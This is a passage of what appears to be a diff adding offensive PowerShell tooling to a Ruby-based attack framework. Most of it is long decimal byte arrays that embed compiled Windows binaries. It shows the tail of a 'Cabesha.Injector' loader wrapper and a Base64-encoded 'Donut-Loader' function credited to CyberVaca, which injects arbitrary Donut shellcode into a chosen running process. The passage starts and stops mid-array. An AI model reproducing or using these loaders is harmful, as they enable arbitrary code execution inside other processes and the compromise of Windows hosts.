111, 65, 114, 114, 97, 121, 0, 77, 101, 116, 104, 111, 100, 66, 97, 115, 101, 0, 73, 110, 118, 111, 107, 101, 0, 0, 0, 0, 0, 3, 32, 0, 0, 0, 0, 0, 35, 181, 20, 237, 178, 22, 205, 74, 145, 95, 171, 31, 224, 251, 225, 163, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 5, 0, 1, 14, 29, 14, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 57, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 0, 1, 1, 18, 77, 3, 32, 0, 14, 5, 0, 1, 29, 5, 14, 6, 0, 1, 18, 85, 29, 5, 4, 32, 0, 18, 89, 16, 16, 1, 2, 21, 18, 97, 1, 30, 0, 21, 18, 97, 1, 30, 0, 8, 3, 10, 1, 14, 12, 16, 1, 1, 29, 30, 0, 21, 18, 97, 1, 30, 0, 6, 32, 2, 28, 28, 29, 28, 15, 7, 8, 18, 69, 14, 29, 5, 18, 85, 18, 89, 14, 14, 29, 28, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 12, 1, 0, 7, 99, 97, 98, 101, 115, 104, 97, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 245, 182, 231, 92, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 240, 39, 0, 0, 240, 9, 0, 0, 82, 83, 68, 83, 181, 15, 159, 8, 211, 235, 197, 72, 132, 53, 87, 117, 195, 54, 153, 196, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 99, 97, 98, 101, 115, 104, 97, 92, 99, 97, 98, 101, 115, 104, 97, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 99, 97, 98, 101, 115, 104, 97, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 52, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 78, 41, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111, 114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100, 108, 108, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 204, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 204, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 130, 72, 171, 27, 0, 0, 1, 0, 130, 72, 171, 27, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 44, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 8, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 56, 0, 8, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 56, 0, 12, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 64, 0, 12, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 48, 0, 8, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 12, 0, 0, 0, 96, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) | out-null 
$binario  = $arg.split(" ,")[0]
$arg = $arg.Replace("$binario ","").split(",") | Select-Object -Skip 1
$argumentos = $binario
foreach ($argumento in $arg) {
[array]$argumentos += $argumento

}
[Cabesha.Injector]::Execute($argumentos)}
}')
+    donuts = Base64.decode64('function Donut-Loader {param($process_id,$donutfile)
    $help=@"
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D
"@
if ($process_id -eq $null -or $donutfile -eq $null) {write-host "$help`n"} else 
{
if (([IntPtr]::Size) -eq 4) {write-host "Sorry, this function only work on x64 :("; break}
[byte[]]$bytes = 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 100, 134, 2, 0, 41, 64, 139, 93, 0, 0, 0, 0, 0, 0, 0, 0, 240, 0, 34, 32, 11, 2, 11, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 64, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 88, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 45, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 76, 14, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 88, 3, 0, 0, 0, 64, 0, 0, 0, 16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 